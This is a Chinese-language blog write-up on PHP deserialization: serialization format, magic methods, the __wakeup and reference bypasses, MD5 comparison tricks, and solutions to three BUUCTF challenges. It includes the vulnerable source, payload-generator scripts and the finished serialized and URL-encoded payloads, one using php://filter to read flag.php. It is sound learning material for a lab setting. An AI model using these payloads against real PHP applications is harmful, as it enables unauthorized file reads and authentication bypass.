1.简单讲,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化
2.序列化的格式
•a表示array(数组),2表示数组有2个元素
•s:5:”baidu”表示第一个元素的下标,长度为5的字符串
•s:13表示第一个元素的值,长度为13的字符串
•i:10表示值为10的整数
•序列化时,只保存成员变量,不保存方法
格式说明:
•O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量
•大括号里面是3个成员变量的信息
•public成员变量的名字直接写就行
•protected成员变量的名字前需要加%00*%00
•private成员变量的名字前需要加%00类名%00
Magic 方法:
•__construct 当一个对象创建时被调用
•__destruct 当一个对象销毁时被调用
•__toString 当一个对象被当作一个字符串使用
•__wakeup 在对象被反序列化之前被调用
常见绕过方法:
1)__wakeup:
•影响版本:PHP before 5.6.25、7.x before 7.0.10
•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
2)引用绕过:
•$a->var2=&$a->var1,指定var2是var1的引用,所以这两个的值完全一样,(类似c语言里面的指针$a->var2 和 $a->var1 指向同一片内存)
BUUCTF 练习:
1) PHP极客大挑战
尝试了半天,看页面源代码也没找到踪迹,尝试爆破。
得到源码,index.php中
传入参数select,然后反序列化
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码审计我们需要令$username="admin" 和 $password =100并且绕过 __wakeup magic方法,防止$username 变为 "guest",绕过wakeup 只需要在 序列化对象属性数量的位置改为大于原本类的对象属性数量.
有不可见字符,我们需要给他再urlencode一下,
将O:4:"Name":2: .......(省略后面的代码) ,2改为3再urlencode
payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D%0A
2)BUU CODE REVIEW 1
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
代码审计:
需要$correct===$input,
但是由于$this->correct = base64_encode(uniqid()); 这一条命令,每次correct 都会随机生产一个字符,我们令input和correct指向同一片内存地址,方可绕过
这里用到了MD5绕过
1、MD5弱比较“==”绕过
方法一:利用md5()函数的漏洞绕过
即使用数组绕过的方法: 由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。 所以上传
/?a[]=1&b[]=2
就可绕过 方法二:利用“==”比较漏洞绕过 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 下列的字符串的MD5值都是0e开头的:
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
2、MD5强比较“===”绕过
此时只能用数组绕过的方法。
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a = new BUU;
$a->input = &$a->correct;
$str = serialize($a);
echo $str;
?>
payload:
GET方法:pleaseget=1
POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3)[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码审计后:
1)发现is_valid只允许我们输入ascill值在32-125之间的符号,即可以打印出来的符号
protected $op;
protected $filename;
protected $content;
接着发现 因为以上三个变量前面带着protected修饰词,如果序列化后将在变量前面加上%00*%00不在32-125间将会过不了这个函数(is_valid return false),即不能触发$obj = unserialize($str) 。
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public
2)我们最终目的是拿到flag.php里面的内容,所以我们要进入read函数里面,即把op=2(进入read函数),绕过op=1(会先进入write函数),然后$filename = "flag.php"
<?php
class FileHandler {
public $op = 2;
public $filename="flag.php";
public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
?>
#序列化后的字符串为以下,试试这个payload
#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
可以看到已经读到flag.php的内容
我们也可以在结合LFI漏洞中运用的php伪协议在尝试尝试,
<?php
class FileHandler {
public $op = 2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
?>
#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
第一次写博客,写得哪里不好请谅解.。